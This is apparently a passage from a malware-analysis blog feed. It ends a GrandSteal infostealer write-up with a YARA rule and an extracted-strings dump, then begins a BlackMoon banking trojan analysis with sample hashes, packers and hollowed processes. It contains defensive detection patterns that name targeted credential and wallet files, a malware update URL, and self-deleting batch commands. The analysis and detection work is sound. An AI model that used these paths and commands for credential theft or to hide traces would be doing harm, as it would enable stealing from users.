src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisw4hbtxaAAPpjOrk1Lj1Q-n7kaqy9n4aXs6kCcg-01RxXF-8A0b-ODJ4_IEfCcj81uOYOeZXcnQS_6VALQDDweVoIm0Xvy0r4ipodA_tjzXsd0TEklr2DltG43xUydinW63E4LUAy9oQ/s400/telegram.png" width="400" height="294" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisw4hbtxaAAPpjOrk1Lj1Q-n7kaqy9n4aXs6kCcg-01RxXF-8A0b-ODJ4_IEfCcj81uOYOeZXcnQS_6VALQDDweVoIm0Xvy0r4ipodA_tjzXsd0TEklr2DltG43xUydinW63E4LUAy9oQ/s400/telegram.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:294,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisw4hbtxaAAPpjOrk1Lj1Q-n7kaqy9n4aXs6kCcg-01RxXF-8A0b-ODJ4_IEfCcj81uOYOeZXcnQS_6VALQDDweVoIm0Xvy0r4ipodA_tjzXsd0TEklr2DltG43xUydinW63E4LUAy9oQ/s400/telegram.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisw4hbtxaAAPpjOrk1Lj1Q-n7kaqy9n4aXs6kCcg-01RxXF-8A0b-ODJ4_IEfCcj81uOYOeZXcnQS_6VALQDDweVoIm0Xvy0r4ipodA_tjzXsd0TEklr2DltG43xUydinW63E4LUAy9oQ/s400/telegram.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisw4hbtxaAAPpjOrk1Lj1Q-n7kaqy9n4aXs6kCcg-01RxXF-8A0b-ODJ4_IEfCcj81uOYOeZXcnQS_6VALQDDweVoIm0Xvy0r4ipodA_tjzXsd0TEklr2DltG43xUydinW63E4LUAy9oQ/s400/telegram.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisw4hbtxaAAPpjOrk1Lj1Q-n7kaqy9n4aXs6kCcg-01RxXF-8A0b-ODJ4_IEfCcj81uOYOeZXcnQS_6VALQDDweVoIm0Xvy0r4ipodA_tjzXsd0TEklr2DltG43xUydinW63E4LUAy9oQ/s400/telegram.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p>The source code related to this functionality <a href="https://github.com/p3pperp0tts/malware_decompiled_code/blob/master/GrandSteal/GrandSteal.Client.Data/GrandSteal.Client.Data/Recovery/TelegramManager.cs">TelegramManager.cs</a>.</p><h3>3. Yara Rules</h3><pre><code>       
rule grandsteal {
strings:
        $s1 = "ws://{0}:{1}/websocket" wide
        $s2 = "GrabBrowserCredentials: " wide
        $s3 = "GrabColdWallets: " wide
        $s4 = "GrabDesktopFiles: " wide
        $s5 = "GrabTelegram: " wide
        $s6 = "ColdWallets parser has been started" wide
        $s7 = "DiscordSession parser has been started" wide
        $s8 = "Rdps parser has been started" wide
        $s9 = "DesktopFiles parser has been started" wide
        $s10 = "FTPs parser has been started" wide
        $s11 = "TelegramSession parser has been started" wide
        $s12 = "ListOfProcesses parser has been started" wide
        $s13 = "ListOfPrograms parser has been started" wide
        $s14 = "card_number_encrypted" wide
        $s15 = "\\Litecoin\\wallet.dat" wide
        $s16 = "\\Bitcoin\\wallet.dat" wide
        $s17 = "\\Exodus\\exodus.wallet" wide
        $s18 = "\\Electrum\\wallets" wide
        $s19 = "\\Ethereum\\wallets" wide
        $s20 = "monero-project" wide
        $s21 = "Discord dump UNKNOWN" wide
        $s22 = "{0}\\FileZilla\\recentservers.xml" wide
        $s23 = "{0}\\FileZilla\\sitemanager.xml" wide
        $s24 = "cookies.sqlite" wide
        $s25 = "password-check" wide
        $s26 = "AppData\\Roaming\\Telegram Desktop\\tdata\\D877F783D5D3EF8C" wide
        $s27 = "%USERPROFILE%\\AppData\\Local\\Temp\\Remove.bat" wide
        $s28 = "taskkill /F /PID %1" wide
        $s29 = "choice /C Y /N /D Y /T 3 &amp; Del %2" wide
        $s30 = "ExtractPrivateKey" wide
        $s31 = "formSubmitURL" wide
        $s32 = "passwordField" wide
        $s33 = "usernameField" wide
        $s34 = "GrabDiscord" wide
        $s35 = "encryptedPassword" wide
        $s36 = "masterPassword" wide
        $s37 = "WalletName" wide
condition:
        (30 of them)
}
</code></pre><h3>4. Strings of the Main Unpacked Module</h3><ul><li><p>https://domekan.ru/ModuleMystery/Updates.txt</p></li><li><p>SQLite format 3</p></li><li><p>ws://{0}:{1}/websocket</p></li><li><p>Server is initialized</p></li><li><p>CredentialsRequest has been created</p></li><li><p>ParseClientSettings</p></li><li><p>GrabBrowserCredentials:&nbsp;</p></li><li><p>GrabColdWallets:&nbsp;</p></li><li><p>GrabDesktopFiles:&nbsp;</p></li><li><p>GrabTelegram:&nbsp;</p></li><li><p>Invalid JsonMessage data from server. Exception :&nbsp;</p></li><li><p>ClientInfos parser has been started</p></li><li><p>ClientInfos has been parsed.Elapsed time: {0}</p></li><li><p>Browsers parser has been started</p></li><li><p>Browsers has been parsed.Elapsed time: {0}</p></li><li><p>ColdWallets parser has been started</p></li><li><p>ColdWallets has been parsed.Elapsed time: {0}</p></li><li><p>DiscordSession parser has been started</p></li><li><p>DiscordSession has been parsed.Elapsed time: {0}</p></li><li><p>Rdps parser has been started</p></li><li><p>Rdps has been parsed.Elapsed time: {0}</p></li><li><p>DesktopFiles parser has been started</p></li><li><p>DesktopFiles has been parsed.Elapsed time: {0}</p></li><li><p>FTPs parser has been started</p></li><li><p>FTPs has been parsed.Elapsed time: {0}</p></li><li><p>TelegramSession parser has been started</p></li><li><p>TelegramSession has been parsed.Elapsed time: {0}</p></li><li><p>ListOfProcesses parser has been started</p></li><li><p>ListOfProcesses has been parsed.Elapsed time: {0}</p></li><li><p>ListOfPrograms parser has been started</p></li><li><p>ListOfPrograms has been parsed.Elapsed time: {0}</p></li><li><p>encrypted_value</p></li><li><p>expiration_month</p></li><li><p>expiration_year</p></li><li><p>card_number_encrypted</p></li><li><p>username_value</p></li><li><p>password_value</p></li><li><p>AppData\Roaming\</p></li><li><p>AppData\Local\</p></li><li><p>\Litecoin\wallet.dat</p></li><li><p>\Bitcoin\wallet.dat</p></li><li><p>\Exodus\exodus.wallet</p></li><li><p>\Electrum\wallets</p></li><li><p>\Ethereum\wallets</p></li><li><p>monero-project</p></li><li><p>JsonSession UNKNOWN</p></li><li><p>Discord dump UNKNOWN</p></li><li><p>Discord process UNKNOWN</p></li><li><p>({"token":"(.*)}}]})</p></li><li><p>{0}\FileZilla\recentservers.xml</p></li><li><p>{0}\FileZilla\sitemanager.xml</p></li><li><p>cookies.sqlite</p></li><li><p>[^\u0020-\u007F]</p></li><li><p>password-check</p></li><li><p>AppData\Roaming\Telegram Desktop\tdata</p></li><li><p>AppData\Roaming\Telegram Desktop\tdata\D877F783D5D3EF8C</p></li><li><p>D877F783D5D3EF8C*</p></li><li><p>AppData\Roaming</p></li><li><p>AppData\Local\Temp</p></li><li><p>The binary key cannot have an odd number of digits: {0}</p></li><li><p>%USERPROFILE%\AppData\Local\Temp\Remove.bat</p></li><li><p>taskkill /F /PID %1</p></li><li><p>choice /C Y /N /D Y /T 3 &amp; Del %2</p></li><li><p>ClientSettings.db</p></li><li><p>&nbsp;1.85 (Hash, version 2, native byte-order)</p></li><li><p>FileDescription</p></li><li><p>GrandSteal.Client.Data</p></li><li><p>GrandSteal.Client.Data.dll</p></li><li><p>ExtractPrivateKey3</p></li><li><p>ExtractPrivateKey4</p></li><li><p>get_formSubmitURL</p></li><li><p>set_formSubmitURL</p></li><li><p>GrandSteal.Client.Data</p></li><li><p>RoamingAppData</p></li><li><p>get_ObjectData</p></li><li><p>set_ObjectData</p></li><li><p>System.Collections.Generic</p></li><li><p>Microsoft.VisualBasic</p></li><li><p>get_ManagedThreadId</p></li><li><p>get_CurrentThread</p></li><li><p>get_timePasswordChanged</p></li><li><p>set_timePasswordChanged</p></li><li><p>get_timeLastUsed</p></li><li><p>set_timeLastUsed</p></li><li><p>get_timeCreated</p></li><li><p>set_timeCreated</p></li><li><p>HandleWorkCompleted</p></li><li><p>OnWorkCompleted</p></li><li><p>countCompleted</p></li><li><p>OnResponseRecieved</p></li><li><p>add_DataReceived</p></li><li><p>add_MessageReceived</p></li><li><p>System.Collections.Specialized</p></li><li><p>get_passwordField</p></li><li><p>set_passwordField</p></li><li><p>get_usernameField</p></li><li><p>set_usernameField</p></li><li><p>BrowserCreditCard</p></li><li><p>get_GrabDiscord</p></li><li><p>get_encryptedPassword</p></li><li><p>set_encryptedPassword</p></li><li><p>get__masterPassword</p></li><li><p>set_WalletName</p></li><li><p>get_encryptedUsername</p></li><li><p>set_encryptedUsername</p></li><li><p>set_AllowUnstrustedCertificate</p></li><li><p>DebuggerNonUserCodeAttribute</p></li><li><p>DebuggableAttribute</p></li><li><p>ComVisibleAttribute</p></li><li><p>AssemblyTitleAttribute</p></li><li><p>UserScopedSettingAttribute</p></li><li><p>AssemblyTrademarkAttribute</p></li><li><p>ExtensionAttribute</p></li><li><p>AssemblyFileVersionAttribute</p></li><li><p>AssemblyConfigurationAttribute</p></li><li><p>AssemblyDescriptionAttribute</p></li><li><p>CompilationRelaxationsAttribute</p></li><li><p>AssemblyProductAttribute</p></li><li><p>AssemblyCopyrightAttribute</p></li><li><p>ConfusedByAttribute</p></li><li><p>ParamArrayAttribute</p></li><li><p>AssemblyCompanyAttribute</p></li><li><p>RuntimeCompatibilityAttribute</p></li><li><p>get_SQLDataTypeSize</p></li><li><p>clientInfoFlag</p></li><li><p>set_EnableAutoSendPing</p></li><li><p>System.Threading</p></li><li><p>get_DataEncoding</p></li><li><p>FromBase64String</p></li><li><p>DownloadString</p></li><li><p>CreateTempPath</p></li><li><p>get_ObjectLength</p></li><li><p>set_ObjectLength</p></li><li><p>set_ExpirationMonth</p></li><li><p>get_Passwordcheck</p></li><li><p>TransformFinalBlock</p></li><li><p>ReadBrowserCredendtial</p></li><li><p>ExtractManagerCredential</p></li><li><p>ExtractRecentCredential</p></li><li><p>op_GreaterThanOrEqual</p></li><li><p>set_AutoSendPingInterval</p></li><li><p>RuntimeTypeModel</p></li><li><p>System.ComponentModel</p></li><li><p>GrandSteal.Client.Data.dll</p></li><li><p>BrowserAutofill</p></li><li><p>get_BaseStream</p></li><li><p>UserStreamParam</p></li><li><p>ExceptionParam</p></li><li><p>get_GrabTelegram</p></li><li><p>SymmetricAlgorithm</p></li><li><p>ICryptoTransform</p></li><li><p>IsNullExtension</p></li><li><p>DiscordSession</p></li><li><p>discordSession</p></li><li><p>TelegramSession</p></li><li><p>telegramSession</p></li><li><p>FindDiscordJsonSession</p></li><li><p>GrandSteal.SharedModels.Communication</p></li><li><p>set_ClientInformation</p></li><li><p>RemoteClientInformation</p></li><li><p>System.Configuration</p></li><li><p>System.Globalization</p></li><li><p>System.Reflection</p></li><li><p>StringCollection</p></li><li><p>MatchCollection</p></li><li><p>CryptographicException</p></li><li><p>ArgumentException</p></li><li><p>GeckoPasswordBasedEncryption</p></li><li><p>GrandSteal.Client.Models.Extensions.Json</p></li><li><p>FileSystemInfo</p></li><li><p>ProcessStartInfo</p></li><li><p>GrandSteal.Client.Data.Gecko</p></li><li><p>DeSerializeProto</p></li><li><p>MiniDumpWriteDump</p></li><li><p>set_ExpirationYear</p></li><li><p>Key4MagicNumber</p></li><li><p>set_CardNumber</p></li><li><p>SHA1CryptoServiceProvider</p></li><li><p>MD5CryptoServiceProvider</p></li><li><p>TripleDESCryptoServiceProvider</p></li><li><p>CrytoServiceProvider</p></li><li><p>IFormatProvider</p></li><li><p>FileZillaManager</p></li><li><p>DiscordManager</p></li><li><p>DesktopFileManager</p></li><li><p>TelegramManager</p></li><li><p>ChromiumManager</p></li><li><p>ColdWalletManager</p></li><li><p>ConvertToInteger</p></li><li><p>ObjectIdentifier</p></li><li><p>ResponseHandler</p></li><li><p>System.CodeDom.Compiler</p></li><li><p>ClientInfoHelper</p></li><li><p>RecoveryHelper</p></li><li><p>GrandSteal.Client.Data.Server</p></li><li><p>InitializeServer</p></li><li><p>CreateDecryptor</p></li><li><p>System.Diagnostics</p></li><li><p>AddMilliseconds</p></li><li><p>timeoutMilliseconds</p></li><li><p>get_BrowserCreditCards</p></li><li><p>set_BrowserCreditCards</p></li><li><p>GetCreditCards</p></li><li><p>System.Runtime.InteropServices</p></li><li><p>Microsoft.VisualBasic.CompilerServices</p></li><li><p>System.Runtime.CompilerServices</p></li><li><p>DebuggingModes</p></li><li><p>get_ChildNodes</p></li><li><p>get_BrowserCookies</p></li><li><p>set_BrowserCookies</p></li><li><p>get_Directories</p></li><li><p>GetDirectories</p></li><li><p>get_MasterEntries</p></li><li><p>set_MasterEntries</p></li><li><p>ExpandEnvironmentVariables</p></li><li><p>Microsoft.Win32.SafeHandles</p></li><li><p>set_DesktopFiles</p></li><li><p>get_GrabDesktopFiles</p></li><li><p>set_BrowserProfiles</p></li><li><p>browserProfiles</p></li><li><p>set_AutoAddMissingTypes</p></li><li><p>ListOfProcesses</p></li><li><p>RecieveSettings</p></li><li><p>ClientSettings</p></li><li><p>DataReceivedEventArgs</p></li><li><p>MessageReceivedEventArgs</p></li><li><p>ErrorEventArgs</p></li><li><p>get_BrowserCredendtials</p></li><li><p>set_BrowserCredendtials</p></li><li><p>GrandSteal.Client.Models.Credentials</p></li><li><p>SendCredentials</p></li><li><p>rdpCredentials</p></li><li><p>set_FtpCredentials</p></li><li><p>ExtractFtpCredentials</p></li><li><p>ftpCredentials</p></li><li><p>get_GrabBrowserCredentials</p></li><li><p>GetCredentials</p></li><li><p>GrandSteal.SharedModels.Models</p></li><li><p>GrandSteal.Client.Models</p></li><li><p>GrandSteal.SharedModels</p></li><li><p>get_BrowserAutofills</p></li><li><p>set_BrowserAutofills</p></li><li><p>GrandSteal.Client.Models.Extensions.Nulls</p></li><li><p>set_InstalledPrograms</p></li><li><p>ListOfPrograms</p></li><li><p>GrandSteal.Client.Models.Extensions</p></li><li><p>get_DesktopFileExtensions</p></li><li><p>set_DesktopFileExtensions</p></li><li><p>JsonExtensions</p></li><li><p>ProtoExtensions</p></li><li><p>get_DesktopExtensions</p></li><li><p>set_DesktopExtensions</p></li><li><p>RequestsExtensions</p></li><li><p>System.Text.RegularExpressions</p></li><li><p>System.Collections</p></li><li><p>set_RdpConnections</p></li><li><p>StringSplitOptions</p></li><li><p>get_DesktopFileManagers</p></li><li><p>get_RdpManagers</p></li><li><p>get_FtpManagers</p></li><li><p>get_BrowserCredentialsManagers</p></li><li><p>get_ColdWalletManagers</p></li><li><p>GrandSteal.Client.Data.Helpers</p></li><li><p>RuntimeHelpers</p></li><li><p>FindDisordProcess</p></li><li><p>GetCurrentProcess</p></li><li><p>set_ColdWallets</p></li><li><p>get_GrabColdWallets</p></li><li><p>get_disabledHosts</p></li><li><p>set_disabledHosts</p></li><li><p>GrabLitecoinQt</p></li><li><p>CommunicationObject</p></li><li><p>ReadTableFromOffset</p></li><li><p>get__globalSalt</p></li><li><p>get__entrySalt</p></li><li><p>GetValueOrDefault</p></li><li><p>CredentialManagement</p></li><li><p>get_DocumentElement</p></li><li><p>get_SqlStatement</p></li><li><p>set_SqlStatement</p></li><li><p>AutoResetEvent</p></li><li><p>set_Screenshot</p></li><li><p>CredentialsRequest</p></li><li><p>set_ProcessList</p></li><li><p>set_CreateNoWindow</p></li><li><p>ConvertHexStringToByteArray</p></li><li><p>InitializeArray</p></li><li><p>FindValueByKey</p></li><li><p>System.Security.Cryptography</p></li><li><p>GetEntryAssembly</p></li><li><p>CreateTempCopy</p></li><li><p>GrandSteal.Client.Data.Recovery</p></li><li><p>set_WorkingDirectory</p></li><li><p>profilesDirectory</p></li><li><p>GetCurrentDirectory</p></li><li><p>GeckoRootEntry</p></li></ul>]]></content:encoded></item><item><title><![CDATA[Analysis of BlackMoon (Banking Trojan)'s Evolution, And The Possibility of a Latest Version Under Development]]></title><description><![CDATA[BlackMoon, also known as KrBanker, is a banking trojan that mainly targets South Korea.]]></description><link>https://www.peppermalware.com/p/analysis-of-blackmoon-banking-trojans</link><guid isPermaLink="false">https://www.peppermalware.com/p/analysis-of-blackmoon-banking-trojans</guid><dc:creator><![CDATA[PepperMalware]]></dc:creator><pubDate>Mon, 18 Mar 2019 15:42:00 GMT</pubDate><enclosure url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJefqb9JSyTkFgKiO0Dq814PiFSkyrgzA7vGzbVr_SWnmKVokqfeCd1h0FRcdsNgFAMiAsE1g0ZYvs0PCKFTEjylMGbQvlthKl3_Kb5z3PsyJWg1KgU_5drAvlIQpKfMVotG5FuMfgH30/s400/decrypt_string.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>BlackMoon, also known as KrBanker, is a banking trojan that mainly targets South Korea. I thought this family was dead since time ago (around 2016), however these previous days I got a couple of rencent samples that, after unpacking them and performing a quick analysis, I noticed they were BlackMoon. Virustotal's first submission date for <a href="https://www.virustotal.com/es/file/80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a4e40/analysis/">one of these samples</a> is 2018-06-18. First submission date for <a href="https://www.virustotal.com/es/file/09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e8be1/analysis/">the other one</a> is 2018-11-01. After digging a bit more into this malware family, my conclussion was that probably there is a latest version of BlackMoon that is under development. I explain it in this post, that I hope you enjoy.<br></p><ol><li><p><strong>Original Packed Sample:</strong>&nbsp;<a href="https://www.virustotal.com/es/file/09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e8be1/analysis/">C38E54342CDAE1D9181EC48E94DC5C83</a></p></li><li><p><strong>Automatic Generated Report:&nbsp;</strong><a href="http://sandbox.peppermalware.com/publicreport/?filter=c38e54342cdae1d9181ec48e94dc5c83&amp;action=showpdf">PepperMalware Report</a></p></li><li><p><strong>Virustotal First Submission:</strong>&nbsp;2018-11-01 07:03:51</p></li><li><p><strong>Unpacked Banker Module:&nbsp;</strong><a href="https://www.hybrid-analysis.com/sample/f0d57176f8a27f89a3ca2d14a80d5b672b0590a1e449cbfa653a8091cdfc9cd7">4634F4EF94D9A3A0E2FCF5078151ADB2</a></p></li><li><p><strong>Related links:&nbsp;</strong></p></li></ol><ul><li><p><a href="https://unit42.paloaltonetworks.com/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/">https://unit42.paloaltonetworks.com/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/</a></p></li><li><p><a href="https://threatpost.com/blackmoon-banking-trojan-using-new-infection-technique/125425/">https://threatpost.com/blackmoon-banking-trojan-using-new-infection-technique/125425/</a></p></li><li><p><a href="https://community.rsa.com/community/products/netwitness/blog/2017/05/19/the-blackmoon-trojan-framework">https://community.rsa.com/community/products/netwitness/blog/2017/05/19/the-blackmoon-trojan-framework</a></p></li><li><p><a href="https://www.fortinet.com/blog/threat-research/over-100-000-south-korean-users-affected-by-blackmoon-campaign.html">https://www.fortinet.com/blog/threat-research/over-100-000-south-korean-users-affected-by-blackmoon-campaign.html</a></p></li><li><p><a href="https://www.fidelissecurity.com/threatgeek/threat-intelligence/blackmoon-banking-trojan-new-framework">https://www.fidelissecurity.com/threatgeek/threat-intelligence/blackmoon-banking-trojan-new-framework</a></p></li></ul><h2>Analysis</h2><ul><li><p>1. Loader</p><ul><li><p>2.1. Packer</p></li><li><p>2.2. Process Injection</p></li></ul></li><li><p>2. Main Module</p><ul><li><p>2.1. Persistence</p></li><li><p>2.2. Encrypted Strings</p></li></ul></li><li><p>3. Evolution</p><ul><li><p>3.1. Encrypted Strings Evolution</p></li><li><p>3.2. BlackMoon Versions: Latest Version Under Development?</p></li><li><p>3.3. BinDiff</p><ul><li><p>3.3.1. 2016-03-03 -&gt; 2016-05-05 Statistics</p></li><li><p>3.3.2. 2016-05-05 -&gt; 2018-06-18 Statistics</p></li><li><p>3.3.3. 2018-06-18 -&gt; 2018-11-01 Statistics</p></li><li><p>3.3.4. 2016-03-03 -&gt; 2016-05-05 Differences</p></li><li><p>3.3.5. 2016-05-05 -&gt; 2018-06-18 Differences</p></li><li><p>3.3.5. 2018-06-18 -&gt; 2018-11-01 Differences</p></li></ul></li></ul></li><li><p>4. Conclusions</p></li><li><p>5. Yara Rules and Scripts</p><ul><li><p>5.1. BlackMoon Yara Rule</p></li><li><p>5.2. Script to Extract BlackMoon Encrypted Strings</p></li></ul></li><li><p>6. Other notes</p><ul><li><p>6.1. Another sample dated 2018 suspicious of being BlackMoon</p></li></ul></li></ul><h3>1. Loader</h3><h4>1.1. Packer</h4><p> Most of the analyzed samples's packers are wellknown packers such as PeCompact, Aspack, Fsg or Nspack:<br><br><br></p><p>Sample &nbsp;FirstSeen&nbsp; &nbsp;Packer&nbsp; &nbsp;<a href="http://sandbox.peppermalware.com/publicreport/?filter=c38e54342cdae1d9181ec48e94dc5c83&amp;action=showpdf">09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e8be1</a>&nbsp; 2018-11-01 &nbsp;PeCompact&nbsp; &nbsp;<a href="http://sandbox.peppermalware.com/publicreport/?filter=f4114b3006806d7ee27af23978591fbb&amp;action=showpdf">80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a4e40</a>&nbsp; 2018-06-18 &nbsp;Aspack <a href="http://sandbox.peppermalware.com/publicreport/?filter=0cd7fc49d7e796c5ea0cc9a1e4470536&amp;action=showpdf">2de1e47c650c0a8865ecc7e7b68379ca071062c0873f46a4addb1aa13b8d48dc</a> 2016-03-03 &nbsp;Fsg <a href="http://sandbox.peppermalware.com/publicreport/?filter=01da4acd0c1964b466b1b1686d778f2f&amp;action=showpdf">5f17cf9aee107458995c434d21263528132b5d0ab8a20121d3de48478ec6c467</a> 2016-02-28 &nbsp;PeCompact <a href="http://sandbox.peppermalware.com/publicreport/?filter=1c9f763fb49bb0a76bc53c3fd4f28093&amp;action=showpdf">47434c9c2e887ba6f47a31e757b4ac0c0e648dfee9f93e38bd49e1c17f660dcf</a> 2016-03-05 &nbsp;PeCompact <a href="http://sandbox.peppermalware.com/publicreport/?filter=1e9765081745e4328d52547c01427669&amp;action=showpdf">2012486d87dcc3362745c6f8f178b9be5417c595e79c452a20729d2e60ec814b</a> 2016-03-08 &nbsp;Aspack <a href="http://sandbox.peppermalware.com/publicreport/?filter=2aabd4fa21cca0f153f57ccc1f3c54c0&amp;action=showpdf">05afd7bbf6efa14102f72bad0e3a0686af6522b25228ab760ef57e8d6df36ed1</a> 2016-03-05 &nbsp;Fsg <a href="http://sandbox.peppermalware.com/publicreport/?filter=2e97c8191fcd94bfc77cea13b9eea463&amp;action=showpdf">5e1ca094e11b2dcfdd4c729e2eaf1bdfd0ec84067a39f1c3a233bfff1ff6dcb5</a> 2016-03-20 &nbsp;PeCompact <a href="http://sandbox.peppermalware.com/publicreport/?filter=3cfd66340f204e1b8697e7a8514c00ab&amp;action=showpdf">406c50ed0333d2023de55ce798a4e7d5fa6e45df65c16733ef48961e94277807</a> 2016-04-08 &nbsp;Aspack <a href="http://sandbox.peppermalware.com/publicreport/?filter=05cc8b5bb7fbb87f216dc2956864d52d&amp;action=showpdf">4844e92d76b2158be2b5468b70e2d0898f9ba2287a02b2b0aa7af2a2113d4970</a> 2016-03-02 &nbsp;PeCompact <a href="http://sandbox.peppermalware.com/publicreport/?filter=09a0220648cfec926f72d2ad3d0c3ec0&amp;action=showpdf">7351373a50acbaa4bb3fa622b0573f473289d745ba717551c82abbe398c1c1ff</a> 2016-03-10 &nbsp;Nspack <a href="http://sandbox.peppermalware.com/publicreport/?filter=11fb2f435a7c525640575cd571b83513&amp;action=showpdf">09a5dc4f9544f7bbc898d205f1e14518606e158f4a7c7126d7eb604ec9ec5c74</a> 2016-04-09 &nbsp;PeCompact <a href="http://sandbox.peppermalware.com/publicreport/?filter=19f1a9a51db139fa7cedc183a2ab555d&amp;action=showpdf">224ead790d3bab7ede11252728d47e21f0d0274767aa3e6a16628e8970a0149f</a> 2016-02-28 &nbsp;PeCompact <a href="http://sandbox.peppermalware.com/publicreport/?filter=236cc4758f096952703b8e0b457bf4e5&amp;action=showpdf">00eae37eaaee93b8155e6bad95564c3d95d71e7397653ffcbae4f95614ffa723</a> 2016-05-05 &nbsp;PeCompact</p><h4>1.2. Process Injection</h4><p> Most of the analyzed samples follow the same strategy, they launch an executable (I think it is choosen randomly) from %system32% folder and they inject the new process (hollow process). The unpacked code will be executed in the context of the new process. Some of the executables that we have seen the malware launchs are: wmiprvse.exe, dwwin.exe, comp.exe, cacls.exe, etc...<br><br><br></p><p>Sample&nbsp;FirstSeen&nbsp;Hollowed Process &nbsp;<a href="http://sandbox.peppermalware.com/publicreport/?filter=c38e54342cdae1d9181ec48e94dc5c83&amp;action=showpdf">09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e8be1</a>&nbsp;2018-11-01system32\wmiprvse.exe &nbsp;<a href="http://sandbox.peppermalware.com/publicreport/?filter=f4114b3006806d7ee27af23978591fbb&amp;action=showpdf">80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a4e40</a>&nbsp;2018-06-18system32\wmiprvse.exe <a href="http://sandbox.peppermalware.com/publicreport/?filter=0cd7fc49d7e796c5ea0cc9a1e4470536&amp;action=showpdf">2de1e47c650c0a8865ecc7e7b68379ca071062c0873f46a4addb1aa13b8d48dc</a>2016-03-03system32\dwwin.exe <a href="http://sandbox.peppermalware.com/publicreport/?filter=01da4acd0c1964b466b1b1686d778f2f&amp;action=showpdf">5f17cf9aee107458995c434d21263528132b5d0ab8a20121d3de48478ec6c467</a>2016-02-28system32\comp.exe <a href="http://sandbox.peppermalware.com/publicreport/?filter=1c9f763fb49bb0a76bc53c3fd4f28093&amp;action=showpdf">47434c9c2e887ba6f47a31e757b4ac0c0e648dfee9f93e38bd49e1c17f660dcf</a>2016-03-05system32\comp.exe <a href="http://sandbox.peppermalware.com/publicreport/?filter=1e9765081745e4328d52547c01427669&amp;action=showpdf">2012486d87dcc3362745c6f8f178b9be5417c595e79c452a20729d2e60ec814b</a>2016-03-08system32\cacls.exe <a href="http://sandbox.peppermalware.com/publicreport/?filter=2aabd4fa21cca0f153f57ccc1f3c54c0&amp;action=showpdf">05afd7bbf6efa14102f72bad0e3a0686af6522b25228ab760ef57e8d6df36ed1</a>2016-03-05system32\cacls.exe <a href="http://sandbox.peppermalware.com/publicreport/?filter=2e97c8191fcd94bfc77cea13b9eea463&amp;action=showpdf">5e1ca094e11b2dcfdd4c729e2eaf1bdfd0ec84067a39f1c3a233bfff1ff6dcb5</a>2016-03-20system32\cacls.exe <a href="http://sandbox.peppermalware.com/publicreport/?filter=3cfd66340f204e1b8697e7a8514c00ab&amp;action=showpdf">406c50ed0333d2023de55ce798a4e7d5fa6e45df65c16733ef48961e94277807</a>2016-04-08system32\cacls.exe <a href="http://sandbox.peppermalware.com/publicreport/?filter=05cc8b5bb7fbb87f216dc2956864d52d&amp;action=showpdf">4844e92d76b2158be2b5468b70e2d0898f9ba2287a02b2b0aa7af2a2113d4970</a>2016-03-02system32\comp.exe <a href="http://sandbox.peppermalware.com/publicreport/?filter=09a0220648cfec926f72d2ad3d0c3ec0&amp;action=showpdf">7351373a50acbaa4bb3fa622b0573f473289d745ba717551c82abbe398c1c1ff</a>2016-03-10system32\cacls.exe <a href="http://sandbox.peppermalware.com/publicreport/?filter=11fb2f435a7c525640575cd571b83513&amp;action=showpdf">09a5dc4f9544f7bbc898d205f1e14518606e158f4a7c7126d7eb604ec9ec5c74</a>2016-04-09system32\cacls.exe <a href="http://sandbox.peppermalware.com/publicreport/?filter=19f1a9a51db139fa7cedc183a2ab555d&amp;action=showpdf">224ead790d3bab7ede11252728d47e21f0d0274767aa3e6a16628e8970a0149f</a>2016-02-28system32\comp.exe</p><h3>2. Main Module</h3><h4><strong>2.1. 